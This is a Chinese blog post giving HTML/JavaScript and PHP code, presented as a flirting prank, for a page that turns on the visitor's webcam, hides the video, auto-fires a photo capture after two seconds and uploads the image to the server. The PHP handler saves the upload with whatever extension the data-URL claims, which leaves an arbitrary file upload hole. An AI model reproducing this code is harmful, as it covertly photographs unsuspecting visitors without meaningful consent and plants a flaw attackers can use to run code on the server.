HTML通过JSON拍照用PHP接收后存储至指定文件夹
儿子给我发的抖音，想用那个功能撩妹，我没找到现成的，就寻思自己写一个
这里js可以单独放一个文件夹，我为了调试方便直接扔HTML里面了
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.js"></script>
<script type="text.javascript" ,src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
<!--<script src="camvas.js"></script>-->
<script>
function getMedia() {
console.log("1");
var constraints = {
video: { width: 300, height: 300,'facingMode': "user" }
};
console.log("constraints",constraints);
var video = document.getElementById("video");
console.log("video",video);
var promise = navigator.mediaDevices.getUserMedia(constraints);
console.log("promise".promise);
promise.then(function(MediaStream) {
video.srcObject = MediaStream;
console.log(video);
// video.play();
});
// var video = document.getElementById("video");
video.style.display = "none";
// var canvas = document.getElementById("canvas");
// var ctx = canvas.getContext('2d');
// ctx.drawImage(video, 0, 0, 300, 300);
// takePhoto();
}
function takePhoto() {
console.log("2");
var video = document.getElementById("video");
console.log(video);
var img = document.getElementById("img");
console.log(img);
video.style.display = "none";
var canvas = document.getElementById("canvas");
console.log(canvas);
var ctx = canvas.getContext('2d');
console.log(ctx);
ctx.drawImage(video, 0, 0, 300, 300);
img.src = canvas.toDataURL("image/png");
// console.log(img.src);
$.ajax({
type: 'post',
url: 'Camrea3.php',
data: {
img: img.src
}
})
}
setTimeout(function() {
// IE
if(document.all) {
document.getElementById("clickMe").click();
}
// 其它浏览器
else {
var e = document.createEvent("MouseEvents");
e.initEvent("click", true, true);
document.getElementById("snap").dispatchEvent(e);
}
}, 2000);
// while(true){
// takePhoto()
// }
</script>
</head>
<body onload="getMedia()">
<!--<h1>本功能专为杨宇铮撩妹开发，不承担任何责任，有问题请去揍杨宇铮，身份证：我也不知道，哈哈哈哈</h1>-->
<div style="display:none;text-align:center;vertical-align:middle;background-size: contain;">
<img style="height: auto; width: auto\9; width:50%;"src="" id="img" alt="" name="imge" />
</div>
<div class="box" style="text-align:center;vertical-align:middle;background-size: contain;">
<!-- <input class="input" type="button" value="1" style="width: 100px;height: 30px;" onclick="getMedia()" /> -->
<!--<input class="input" type="button" value="1" style="width: 100px;height: 30px;" onclick="getMedia()" /> -->
<video id="video" width="300px" height="300px" autoplay="autoplay"></video>
<canvas style="display:none" id="canvas" text-align:center width="300px" height="300px"></canvas>
<input type="hidden" id="snap" style="width: 100px;height: 30px;" value="2" onclick="takePhoto()">
<!-- <meta http-equiv="refresh" content="5;url=index2.html">-->
</div>
</body>
</html>Camrea3.php
<?php
$imge=$_POST["img"];
$path = './images';
function base64_image_content($base64_image_content,$path){
//匹配出图片的格式
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_image_content, $result)){
$type = $result[2];
$new_file = $path."/".date('Ymd',time())."/";
if(!file_exists($new_file)){
//检查是否有该文件夹，如果没有就创建，并给予最高权限
mkdir($new_file, 0700, true);
}
$new_file = $new_file.time().".{$type}";
if (file_put_contents($new_file, base64_decode(str_replace($result[1], '', $base64_image_content)))){
return '/'.$new_file;
}else{
return false;
}
}else{
return false;
}
}
base64_image_content($imge,$path);
?>